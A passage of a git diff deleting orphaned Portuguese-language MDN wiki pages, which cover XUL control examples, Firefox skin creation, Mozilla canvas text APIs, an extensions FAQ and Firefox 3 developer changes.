-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Progress_Meters" title="pt/XUL_Tutorial/Progress_Meters">More information about the progressmeter element</a>.</li> <li><a href="/pt/XUL/progressmeter" title="pt/XUL/progressmeter">Progressmeter Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-progressmeter.png"></td> </tr> <tr> <td><strong>&lt;radio&gt;</strong> <p>A radio button is used when only one of a set of options may be selected at a time.</p> <pre>
-&lt;radiogroup&gt;
- &lt;radio label="Light" value="light"/&gt;
- &lt;radio label="Heavy" value="heavy"/&gt;
-&lt;/radiogroup&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons" title="pt/XUL_Tutorial/Input_Controls#Checkboxes_and_Radio_Buttons">More information about the radio element</a>.</li> <li><a href="/pt/XUL/radio" title="pt/XUL/radio">Radio Reference</a></li> <li>Related Elements: {{ XULElem("radiogroup") }}</li> </ul> </td> <td><img alt="Image:Controlguide-radio.png"></td> </tr> <tr> <td><strong>&lt;richlistbox&gt;</strong> <p>The richlistbox displays a list of items where one or more may selected. Unlike the listbox which is designed to display only text, the richlistbox may display any type of content.</p> <pre>
-&lt;richlistbox&gt;
- &lt;richlistitem&gt;
- &lt;image src="happy.png"/&gt;
- &lt;/richlistitem&gt;
- &lt;richlistitem&gt;
- &lt;image src="sad.png"/&gt;
- &lt;/richlistitem&gt;
- &lt;richlistitem&gt;
- &lt;image src="angry.png"/&gt;
- &lt;/richlistitem&gt;
-&lt;/richlistbox&gt;
-</pre> <ul> <li><a href="/pt/XUL/richlistbox" title="pt/XUL/richlistbox">Richlistbox Reference</a></li> <li>Related Elements: {{ XULElem("richlistitem") }}</li> </ul> </td> <td><img alt="Image:Controlguide-richlistbox.png"></td> </tr> <tr> <td><strong>&lt;scale&gt;</strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A scale displays a bar with a thumb that may be slid across the bar to select between a range of values.</p> <pre>
-&lt;scale min="1" max="10"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/scale" title="pt/XUL/scale">Scale Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-scale.png"></td> </tr> <tr> <td><strong>&lt;textbox&gt;</strong> <p>A textbox which allows a single line of text to be entered.</p> <pre>
-&lt;textbox value="firefox"/&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Text_Entry_Fields" title="pt/XUL_Tutorial/Input_Controls#Text_Entry_Fields">More information about the textbox element</a>.</li> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox.png"></td> </tr> <tr> <td><strong>&lt;textbox multiline="true"&gt;</strong> <p>A textbox which allows multiple lines of text to be entered.</p> <pre>
-&lt;textbox multiline="true"/&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Input_Controls#Multiline_textbox" title="pt/XUL_Tutorial/Input_Controls#Multiline_textbox">More information about the multiple line textbox element</a>.</li> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox-multiline.png"></td> </tr> <tr> <td><strong>&lt;textbox type="autocomplete"&gt;</strong> <p>A textbox which provides a dropdown showing matches that would complete what the user types. The user can select one to have it filled into the textbox.</p> <pre>
-&lt;textbox type="autocomplete" autocompletesearch="history"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;textbox type="number"&gt;</strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A textbox for entering numbers. Two arrow buttons are displayed for cycling through values.</p> <pre>
-&lt;textbox type="number" min="1" max="20"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox-number.png"></td> </tr> <tr> <td><strong>&lt;textbox type="password"&gt;</strong> <p>A textbox that hides the characters typed, used for entering passwords.</p> <pre>
-&lt;textbox type="password"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/textbox" title="pt/XUL/textbox">Textbox Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-textbox-password.png"></td> </tr> <tr> <td><strong>&lt;timepicker&gt;</strong> <p><strong><span class="highlightred"><small>New in Mozilla 1.9 / Firefox 3</small></span></strong></p> <p>A timepicker displays a set of textboxes for entering a time.</p> <pre>
-&lt;timepicker value="12:05"/&gt;
-</pre> <ul> <li><a href="/pt/XUL/timepicker" title="pt/XUL/timepicker">Timepicker Reference</a></li> </ul> </td> <td><img alt="Image:Controlguide-timepicker.png"></td> </tr> <tr> <td><strong>&lt;toolbarbutton&gt;</strong> <p>A button that is displayed on a toolbar.</p> <pre>
-&lt;toolbarbutton label="Reload"/&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Toolbars" title="pt/XUL_Tutorial/Toolbars">More information about the toolbarbutton element</a>.</li> <li><a href="/pt/XUL/toolbarbutton" title="pt/XUL/toolbarbutton">Toolbarbutton Reference</a></li> <li>Related Elements: {{ XULElem("toolbar") }}</li> </ul> </td> <td><img alt="Image:Controlguide-toolbarbutton.png"></td> </tr> <tr> <td><strong>&lt;toolbarbutton type="menu"&gt;</strong> <p>A button that is displayed on a toolbar with a drop down menu attached to it.</p> <pre>
-&lt;toolbarbutton type="menu" label="Show"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="Toolbars"/&gt;
- &lt;menuitem label="Status Bar"/&gt;
- &lt;/menupopup&gt;
-&lt;/toolbarbutton&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Toolbars" title="pt/XUL_Tutorial/Toolbars">More information about this type of menu toolbarbutton element</a>.</li> <li><a href="/pt/XUL/toolbarbutton" title="pt/XUL/toolbarbutton">Toolbarbutton Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }} {{ XULElem("toolbar") }}</li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;toolbarbutton type="menu-button"&gt;</strong> <p>A button on a toolbar that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.</p> <pre>
-&lt;toolbarbutton type="menu-button" label="Open"&gt;
- &lt;menupopup&gt;
- &lt;menuitem label="Open Changed Files"/&gt;
- &lt;menuitem label="Open All"/&gt;
- &lt;/menupopup&gt;
-&lt;/toolbarbutton&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Toolbars" title="pt/XUL_Tutorial/Toolbars">More information about this type of menu toolbarbutton element</a>.</li> <li><a href="/pt/XUL/toolbarbutton" title="pt/XUL/toolbarbutton">Toolbarbutton Reference</a></li> <li>Related Elements: {{ XULElem("menupopup") }} {{ XULElem("menuitem") }} {{ XULElem("toolbar") }}</li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;tree&gt;</strong> <p>A tree displays a hierarchy of items in multiple columns.</p> <pre>
-&lt;tree&gt;
- &lt;treecols&gt;
- &lt;treecol label="Name" flex="1"/&gt;
- &lt;treecol label="Size" flex="1"/&gt;
- &lt;/treecols&gt;
- &lt;treechildren&gt;
- &lt;treeitem&gt;
- &lt;treerow&gt;
- &lt;treecell label="Popcorn"/&gt;
- &lt;treecell label="Large"/&gt;
- &lt;/treerow&gt;
- &lt;/treeitem&gt;
- &lt;treeitem&gt;
- &lt;treerow&gt;
- &lt;treecell label="Root Beer"/&gt;
- &lt;treecell label="Small"/&gt;
- &lt;/treerow&gt;
- &lt;/treeitem&gt;
- &lt;/treechildren&gt;
-&lt;/tree&gt;
-</pre> <ul> <li><a href="/pt/XUL_Tutorial/Trees" title="pt/XUL_Tutorial/Trees">More information about the tree element</a>.</li> <li><a href="/pt/XUL/tree" title="pt/XUL/tree">Tree Reference</a></li> <li>Related Elements: {{ XULElem("treecell") }} {{ XULElem("treechildren") }} {{ XULElem("treecol") }} {{ XULElem("treecols") }} {{ XULElem("treeitem") }} {{ XULElem("treerow") }}</li> </ul> </td> <td><img alt="Image:Controlguide-tree.png"></td> </tr> </tbody>
-</table>
-<p><span class="comment">Categorias</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p>{{ languages( { "en": "en/XUL_controls" } ) }}</p>
diff --git a/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html b/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html
deleted file mode 100644
index 0eb2f2a936..0000000000
--- a/files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: Criando um visual para o Firefox
-slug: orphaned/Criando_um_visual_para_o_Firefox
-tags:
- - Temas
- - Todas_as_Categorias
-original_slug: Criando_um_visual_para_o_Firefox
----
-<p> </p>
-
-<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h3>
-
-<p>Para poder criar um visual para o Firefox, são três coisas que você precisa saber fazer: como editar imagens, como extrair arquivos zip e como modificar CSS. O Firefox utiliza imagens nos formatos GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante na interface.</p>
-
-<p><strong>O que é um visual?</strong></p>
-
-<p>Um visual não altera totalmente a interface; em parte, somente define seu aspecto. Você não pode alterar o que acontece quando o usuário clica com o botão direito sobre uma imagem, mas pode alterar a aparência do menu de contexto (Torná-lo azul com pontos cor-de-rosa, por exemplo). Se quer alterar a funcionalidade do Firefox, você terá que ver sobre como modificar o chrome, que está além do contido deste documento. <strong>--<a>Milona87</a> 19:12, 18 Fevereiro 2008 (PST)Texto a negrito--<a>Milona87</a> 19:12, 18 Fevereiro 2008 (PST)</strong></p>
-
-<h3 id="Conte.C3.BAdos" name="Conte.C3.BAdos">Conteúdos</h3>
-
-<ul>
- <li><a href="pt/Criando_um_visual_para_o_Firefox/Iniciando">Iniciando</a></li>
-</ul>
-
-<hr>
-<div class="originaldocinfo">
-<h3 id="Informa.C3.A7.C3.A3o_sobre_o_Documento_Original" name="Informa.C3.A7.C3.A3o_sobre_o_Documento_Original">Informação sobre o Documento Original</h3>
-
-<ul>
- <li>Os documentos originais estão relacionados por completo na versão em inglês deste artigo</li>
- <li>O artigo já previamente traduzido para o português de Portugal foi utilizado como base</li>
-</ul>
-</div>
-
-<p> </p>
diff --git a/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html b/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html
deleted file mode 100644
index 66f3c1d759..0000000000
--- a/files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: Criar uma pele para o Firefox
-slug: orphaned/Criar_uma_pele_para_o_Firefox
-tags:
- - Temas
- - Todas_as_Categorias
-original_slug: Criar_uma_pele_para_o_Firefox
----
-<p>
-</p>
-<h3 id="Introdu.C3.A7.C3.A3o"> Introdução </h3>
-<p>Para criar um tema para o Firefox, você precisa saber fazer três coisas: editar imagens, extrair arquivos zip e modificar CSS. O Firefox utiliza imagens em formato GIF, PNG e JPEG para os botões, e CSS para estilizar todo o restante da interface.
-</p><p><b>O que é um Tema?</b>
-</p><p>Um tema não altera totalmente a interface, apenas redefine sua aparência. Você não pode alterar o que acontece quando o usuário clica com o botão direito do mouse sobre uma imagem, mas pode alterar a aparência do menu de contexto (torná-lo azul com pontos cor-de-rosa, por exemplo). Se quiser mudar a funcionalidade do Firefox, você deve estudar como modificar o chrome, que está além do escopo deste documento.
-</p>{{ languages( { "en": "en/Creating_a_Skin_for_Firefox" } ) }}
diff --git a/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html b/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html
deleted file mode 100644
index 42035ff02a..0000000000
--- a/files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: Desenhando texto usando canvas
-slug: orphaned/Desenhando_texto_usando_canvas
-tags:
- - HTML:Canvas
- - PrecisaDeConteúdo
-original_slug: Desenhando_texto_usando_canvas
----
-<p>{{ Gecko_minversion_header("1.9") }} O elemento <code><a href="/pt/HTML/Canvas" title="pt/HTML/Canvas">&lt;canvas&gt;</a></code> dá suporte a desenho de texto através da API experimental Mozilla-specific.</p>
-<h3 id="API" name="API">API</h3>
-<pre class="eval">attribute DOMString mozTextStyle;
-void mozDrawText(in DOMString textToDraw);
-float mozMeasureText(in DOMString textToMeasure);
-void mozPathText(in DOMString textToPath);
-void mozTextAlongPath(in DOMString textToDraw, in boolean stroke);
-</pre>
-<h3 id="Notes" name="Notes">Notas</h3>
-<ul>
- <li>A fonte <em>default</em> é 12pt sans-serif.</li>
- <li>Estas extensões de ainda não foram padronizadas pelo WHATWG.</li>
- <li>You do not need a special context to use these; the 2D context works just fine.</li>
- <li>All drawing is done using the current transform.</li>
- <li>See {{ Bug(339553) }} if you'd like to read up on the implementation specifics.</li>
-</ul>
-<h3 id="Demonstrations" name="Demonstrations">Demonstrações</h3>
-<p>Veja alguns exemplos <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273497">here</a>, <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273498">here</a>, and <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=273499">here</a>.</p>
-<h3 id="Changing_the_current_font" name="Changing_the_current_font">Alterando a fonte corrente</h3>
-<p>The <code>mozTextStyle</code> attribute reflects the current text style. It uses the same syntax as the <a href="/pt/CSS/font" title="pt/CSS/font">CSS font</a> specifier.</p>
-<p>Ex:</p>
-<pre class="eval">ctx.mozTextStyle = "20pt Arial"
-</pre>
-<h3 id="Drawing_text" name="Drawing_text">Desenhando o texto</h3>
-<p>Drawing is very simple. <code>mozDrawText</code> uses whatever the current text style is. The context's fill color is used as the text color.</p>
-<pre class="eval">ctx.translate(10, 50);
-ctx.fillStyle = "Red";
-ctx.mozDrawText("Sample String");
-</pre>
-<h3 id="Measuring_text" name="Measuring_text">Medindo o texto</h3>
-<p>As vezes é de grande valia saber a largura de um bit de texto em particular (para centralizá-lo em uma janela).</p>
-<pre class="eval">var text = "Sample String";
-var width = ctx.canvas.width;
-var len = ctx.mozMeasureText(text);
-ctx.translate(len/2, 0);
-ctx.mozDrawText(text);
-</pre>
-<h3 id="Text.2Fpath_interaction" name="Text.2Fpath_interaction">Text/path interaction</h3>
-<p>If you want to stroke text, <code>mozDrawText</code> doesn't let you. However, <code>mozPathText</code> adds the strokes from the text to the current path.</p>
-<pre class="eval">ctx.fillStyle = "green";
-ctx.strokeStyle = "black";
-ctx.mozPathText("Sample String");
-ctx.fill()
-ctx.stroke()
-</pre>
-<p>Now say you have a path that you want to add text along (say a curved line or something); this is where <code>mozTextAlongPath</code> comes in. Unlike the other text functions, <code>mozTextAlongPath</code> takes two arguments: the text and what to do with it. <code>mozTextAlongPath</code> approximates the current path as a series of line segments and places each glyph along that flattened path. The glyphs are not scaled or transformed according to the curvature of their baseline; they take on the orientation of the flattened path at the midpoint of the glyph.</p>
-<p>Once <code>mozTextAlongPath</code> knows where the glyphs are, it looks at the second parameter to decide what to do with them. If the second parameter is <code>false</code>, then it will draw the glyphs just like <code>mozDrawText</code> does. If it is <code>true</code>, then it will add the glyphs to the current path, just like <code>mozPathText</code> does. This can be used to create some unique effects.</p>
-<p><span class="comment">Categorias</span></p>
-<p><span class="comment">Interwiki Language Links</span></p>
-<p>{{ languages( { "en": "en/Drawing_text_using_a_canvas", "es": "es/Dibujar_texto_usando_canvas", "fr": "fr/Dessin_de_texte_avec_canvas", "ja": "ja/Drawing_text_using_a_canvas" } ) }}</p>
diff --git a/files/pt-pt/orphaned/faq_extensões/index.html b/files/pt-pt/orphaned/faq_extensões/index.html
deleted file mode 100644
index 02a8a98c41..0000000000
--- a/files/pt-pt/orphaned/faq_extensões/index.html
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: FAQ Extensões
-slug: orphaned/FAQ_Extensões
-tags:
- - Extensões
-original_slug: FAQ_Extensões
----
-<p>Esse é um guia rápido de respostas para as perguntas mais frequentes sobre o desenvolvimento de <a href="/pt/Extensões" title="pt/Extensões">Extensões</a>.</p>
-<p>Elas são escritas focadas mais no Firefox, mas a maioria é fácil de ser transferida para o SeaMonkey, Thunderbird ou qualquer desses outros aplicativos.</p>
-<p>Se você está procurando um lugar para começar, tente nosso tutorial, <a href="/pt/Construir_uma_Extensão" title="pt/Construir_uma_Extensão">Construir uma Extensão</a> ou</p>
-<p><a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">MozillaZine's Getting started tutorial</a>. Use o <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a> para gerar um template para começar nele.</p>
-<p>Tenha certeza de <a class="external" href="http://developer.mozilla.org/en/docs/Setting_up_extension_development_environment">Setting up extension development environment</a>.</p>
-<h3 id="Depurando">Depurando</h3>
-<p>Você deve <a class="external" href="http://developer.mozilla.org/en/docs/Setting_up_extension_development_environment">set development preferences</a> antes de partir para depurar sua extensão.</p>
-<p>O depurador em JavaScript <a href="/pt/Venkman" title="pt/Venkman">Venkman</a> pode ser viável em casos complexos, mas lembre-se de desligar a opção "Debug -&gt; Exclude Browser Files" enquanto está trabalhando no código da extensão.</p>
-<h4 id="Como_eu_posso_ver_os_erros_no_meu_c.C3.B3digo.3F">Como eu posso ver os erros no meu código?</h4>
-<p>Depois de <a class="external" href="http://developer.mozilla.org/en/docs/Setting_up_extension_development_environment">set development preferences</a> <strong>javascript.options.showInConsole</strong> para <strong>true</strong>, os erros serão mostrados no Console JavaScript. Note que apesar de seu nome todos os erros são mostrados lá.</p>
-<h4 id="Como_eu_posso_mostrar_o_que_minha_extens.C3.A3o_est.C3.A1_fazendo.3F">Como eu posso mostrar o que minha extensão está fazendo?</h4>
-<p>Você pode usar o <code><a href="/pt/DOM/window.alert" title="pt/DOM/window.alert">alert()</a></code>, <code><a href="/pt/DOM/window.dump" title="pt/DOM/window.dump">dump()</a></code>, <code><a href="/pt/Components.utils.reportError" title="pt/Components.utils.reportError">Components.utils.reportError()</a></code>, ou até <a href="/pt/NsIConsoleService" title="pt/NsIConsoleService">the console service</a> para mostrar dados variáveis e o texto da depuração.</p>
-<h4 id="Por_que_meu_c.C3.B3digo_n.C3.A3o_roda_corretamente.3F">Por que meu código não roda corretamente?</h4>
-<p>Se o seu código não trabalha como o esperado, a primeira coisa que você deve fazer é checar o console JavaScript (veja <a href="#Como_eu_posso_ver_os_erros_no_meu_c.C3.B3digo.3F">sobre</a>).</p>
-<p>Um erro comum é tentar acessar a DOM (Document Object Model - Modelo de objeto do documento) de uma janela antes que ela esteja totalmente carregada. Isso acontece se você coloca o código de inicialização no topo do seu código -script- (i.e. fora de qualquer função). O conserto é usar um <code>load</code> para listar eventos para travar seu código até que a janela termine de carregar:</p>
-<pre class="eval">function exampleBrowserStartup(event)
-{
- // coloque o código de inicialização aqui
-}
-window.addEventListener("load", exampleBrowserStartup, false);
-</pre>
-<h4 id="Acessando_um_documento_de_uma_p.C3.A1gina_que_n.C3.A3o_funciona">Acessando um documento de uma página que não funciona</h4>
-<p>Para acessar um documento de uma página web atual através do browser.xul overlay, você deve usar o <code>content.document</code>, ao invés de apenas <code>document</code> que é o próprio documento da janela do navegador. Veja <a href="/pt/Working_with_windows_in_chrome_code#Content_windows" title="pt/Working_with_windows_in_chrome_code#Content_windows">en:Working with windows in chrome code</a> para mais detalhes. Você pode também, por padrão <a href="/en/XPCNativeWrapper">en:XPCNativeWrapper</a> que previne você de acessar através do acesso de um "script-defined objects" na página web e fazer outras tarefas.</p>
-<h4 id="Aparece_um_erro_de_an.C3.A1lise_XML.2C_mas_o_arquivo_parece_correto.21">Aparece um erro de análise XML, mas o arquivo parece correto!</h4>
-<p>Uma fonte comum de erros de análise (como &lt;font color="red"&gt;texto vermelho&lt;/font&gt; com uma &lt;font color="red"&gt;-------------^&lt;/font&gt; abaixo) é um caracter &amp; ou um &lt; em seu código ou um valor de atributo, que tem uma função especial em XML. Por exemplo:</p>
-<pre class="eval">&lt;button oncommand="window.open('<span class="nowiki">http://example.com/</span>q?param1=value<strong>&amp;param2</strong>=val2')"/&gt;
-</pre>
-<p>ou</p>
-<pre class="eval">&lt;script&gt;function lesser(a,b) { return <strong>a &lt; b</strong> ? a : b; }&lt;/script&gt;
-</pre>
-<p>O problema pode ser resolvido por uma das seguintes formas:</p>
-<ol> <li>substitua o caracter que não é representação de conflito XML (Exemplo: "&amp;" -&gt; "&amp;amp;"&lt;" -&gt; "&amp;lt;")</li> <li>(em caso de ser um nó de texto, como um código) coloque tags de CDATA ao redor: <pre>&lt;script&gt;&lt;![CDATA[
- function lesser(a,b) {
- return a &lt; b ? a : b;
- }
- ]]&gt;&lt;/script&gt;</pre> </li> <li>Coloque seu código em um arquivo separado e inclua o nome dele: <pre>&lt;script type="application/x-javascript" src="seucodigo.js"/&gt;</pre> </li>
-</ol>
-<h3 id="C.C3.B3digo_de_Exemplo">Código de Exemplo</h3>
-<p>A forma mais fácil para encontrar o código que você precisa para usar em algo útil é procurar uma extensão (ou parte do Mozilla mesmo) Isso faz o código e mostra como um código. (Os arquivos XPI e JAR usam o formato ZIP). Encontram-se algumas documentações em: <a href="/Special:Tags?tag=Extensões&amp;language=pt" title="Special:Tags?tag=Extensões&amp;language=pt">lista de artigos relacionados com extensões no MDC</a>, <a href="/en/Code_snippets">en:Code snippets</a>, e <a class="external" href="http://kb.mozillazine.org/Category:Example_code">Example code page on MozillaZine</a>.</p>
-<h3 id="Onde_posso_encontrar_mais_ajuda.3F">Onde posso encontrar mais ajuda?</h3>
-<p>Por favor veja <a href="/en/Extensions/Other_Resources">en:Extensions:Other Resources</a> e <a href="/pt/Extensões/Comunidade" title="pt/Extensões/Comunidade">Extensões:Comunidade</a>.</p>
-<p>Antes de pedir ajuda, tenha certeza de configurar as <a href="#Depurando">preferências de depuração</a> e <a href="#Como_eu_posso_mostrar_o_que_minha_extens.C3.A3o_est.C3.A1_fazendo.3F">cheque o console JavaScript</a> para mensagens relacionadas. Também, não esqueça de fazer uma pequena busca antes de perguntar. E leia este FAQ!</p>
-<p><span class="comment">Categorias</span></p>
-<p><span class="comment">Interwiki Language Link</span></p>
-<p>{{ languages( { "en": "en/Extension_Frequently_Asked_Questions", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ja": "ja/Extension_Frequently_Asked_Questions" } ) }}</p>
diff --git a/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html b/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html
deleted file mode 100644
index 95c705f699..0000000000
--- a/files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html
+++ /dev/null
@@ -1,82 +0,0 @@
----
-title: Firefox 3 para desenvolvedores
-slug: orphaned/Firefox_3_para_desenvolvedores
-original_slug: Firefox_3_para_desenvolvedores
----
-<p><span class="comment">Vou incluir documentos abaixo na lista: -- Quer estar adiante da curva e certificar-se que suas extensões, web sites ou aplicações estão prontas para a próxima geração do Firefox? Verifique em nosso conteúdo especialmente organizado para suas necessidades: * <a href="/pt/Atualizando_extensões_para_o_Firefox_3">Atualizando extensões para o Firefox 3</a> * <a href="/pt/Atualizando_aplicações_web_para_o_Firefox_3">Atualizando aplicações web para o Firefox 3</a></span></p>
-<h2 id="Novas_caracter.C3.ADsticas_para_desenvolvedores_no_Firefox_3" name="Novas_caracter.C3.ADsticas_para_desenvolvedores_no_Firefox_3">Novas características para desenvolvedores no Firefox 3</h2>
-<p>O Firefox 3 será liberado em breve, e já existe um número interessante de mudanças implementadas. Abaixo está uma lista de algumas das características.</p>
-<h3 id="Para_desenvolvedores_de_aplica.C3.A7.C3.B5es_e_web_sites" name="Para_desenvolvedores_de_aplica.C3.A7.C3.B5es_e_web_sites">Para desenvolvedores de aplicações e web sites</h3>
-<p>Veja também <a href="/pt/Mudanças_no_Gecko_1.9_que_afetam_websites" title="pt/Mudanças_no_Gecko_1.9_que_afetam_websites">Mudanças no Gecko 1.9 que afetam websites</a>.</p>
-<h4 id="Web_Applications_1.0" name="Web_Applications_1.0">Web Applications 1.0</h4>
-<p><em>Mark Finkle (mfinkle em #devmo) dirige o trabalho de documentação nas Web Applications 1.0</em></p>
-<ul> <li>Suporte a <a href="/pt/Manipuladores_de_protocolo_web" title="pt/Manipuladores_de_protocolo_web">manipuladores de protocolos baseados na web</a></li> <li>Suporte experimental <code>&lt;a ping&gt;</code> ({{ Bug(319368) }}, <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#ping">current spec</a>)</li> <li>WHATWG <a href="/pt/Eventos_online_e_offline" title="pt/Eventos_online_e_offline">Eventos online e offline</a> agora são suportados, permitindo a aplicações e extensões detectar se há uma conexão de internet disponível ou não.</li> <li>APIs para folhas de estilo alternativas ({{ Bug(200930) }}, <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">especificação atual</a>)</li> <li>O método DOM <code><a href="/pt/DOM/document.getElementsByClassName" title="pt/DOM/document.getElementsByClassName">getElementsByClassName()</a></code> agora é suportado.</li> <li>Suporte aos métodos <code>transform()</code> e <code>setTransform()</code> do elemento <code>&lt;canvas&gt;</code> ({{ Bug(357450) }}, <a class="external" href="http://whatwg.org/specs/web-apps/current-work/#transform">especificação atual</a>)</li> <li>Suporte a <code>contentEditable</code> (<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#contenteditable1">especificação atual</a>)</li>
-</ul>
-<div class="note"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">Aplicações Web 1.0</a> (HTML5, XHTML5) é ainda um esboço sendo trabalhado, não final.</div>
-<h4 id="Recursos_offline" name="Recursos_offline">Recursos offline</h4>
-<p>A implementação está em progresso - veja {{ Bug(367447) }} e dependências. <em>Spec</em> em progresso está em <a class="external" href="http://www.campd.org/stuff/Offline%20Cache.html">http://www.campd.org/stuff/Offline Cache.html</a>.</p>
-<h4 id="CSS" name="CSS"><a href="/pt/CSS" title="pt/CSS">CSS</a></h4>
-<p><em>Eric Shepherd (sheppy em #devmo) dirige a documentação CSS para o Firefox 3.</em></p>
-<ul> <li>Os valores das propriedades <code>inline-block</code> e <code>inline-table</code> do {{ Cssxref("display") }} estão agora implementadas.</li> <li>A propriedade {{ Cssxref("font-size-adjust") }} agora trabalha em todas as plataformas; anteriormente era somente suportada no Windows.</li> <li>Suporte a valores de cores <code>rgba()</code> e <code>hsla()</code> ({{ Bug(147017) }})</li> <li>Suporte a pseudo-classe <code>:default</code> ({{ Bug(302186) }})</li> <li>Os valores <code>-moz-intrinsic</code>, <code>-moz-min-intrinsic</code>, <code>-moz-shrink-wrap</code> e <code>-moz-fill</code> foram adicionados a {{ Cssxref("width") }}, {{ Cssxref("min-width") }} e {{ Cssxref("max-width") }} ({{ Bug(311415) }})</li>
-</ul>
-<h4 id="DOM" name="DOM">DOM</h4>
-<ul> <li>As extensões DOM <code><a href="/pt/DOM/element.clientTop" title="pt/DOM/element.clientTop">clientTop</a></code> e <code><a href="/pt/DOM/element.clientLeft" title="pt/DOM/element.clientLeft">clientLeft</a></code> do Internet Explorer são agora suportadas.</li> <li>A propriedade <code><a href="/pt/DOM/window.fullScreen" title="pt/DOM/window.fullScreen">window.fullScreen</a></code> é agora sempre exata, não importa onde seja lida, mesmo no conteúdo. Anteriormente era necessário retornar incorretamente <code>false</code> ({{ Bug(127013) }}).</li>
-</ul>
-<h4 id="JavaScript" name="JavaScript">JavaScript</h4>
-<ul> <li>O suporte para <a href="/pt/Novidades_no_Javascript_1.8" title="pt/Novidades_no_Javascript_1.8">JavaScript 1.8</a> está em progresso ({{ Bug(380236) }}). <em><a href="/User:Jresig" title="User:Jresig">John Resig</a> dirigirá o trabalho de documentação neste tópico.</em> <ul> <li>Tudo que foi implementado já está documentado na página <a href="/pt/Novidades_no_Javascript_1.8" title="pt/Novidades_no_Javascript_1.8">JavaScript 1.8</a>.</li> <li>Veja este <a class="external" href="http://ejohn.org/blog/javascript-18-progress/"><em>blog post</em></a> para alguma informação adicional.</li> </ul> </li>
-</ul>
-<h4 id="XSLT.2FXPath" name="XSLT.2FXPath">XSLT/XPath</h4>
-<ul> <li>Suporte ao <code>node-set</code> ({{ Bug(193678) }}, <a class="external" href="http://www.exslt.org/exsl/exsl.html">spec</a>)</li> <li>Suporte a expressões regulares ({{ Bug(354886) }}, <a class="external" href="http://www.exslt.org/regexp/index.html">spec</a>)</li>
-</ul>
-<h4 id="SVG" name="SVG"><a href="/pt/SVG" title="pt/SVG">SVG</a></h4>
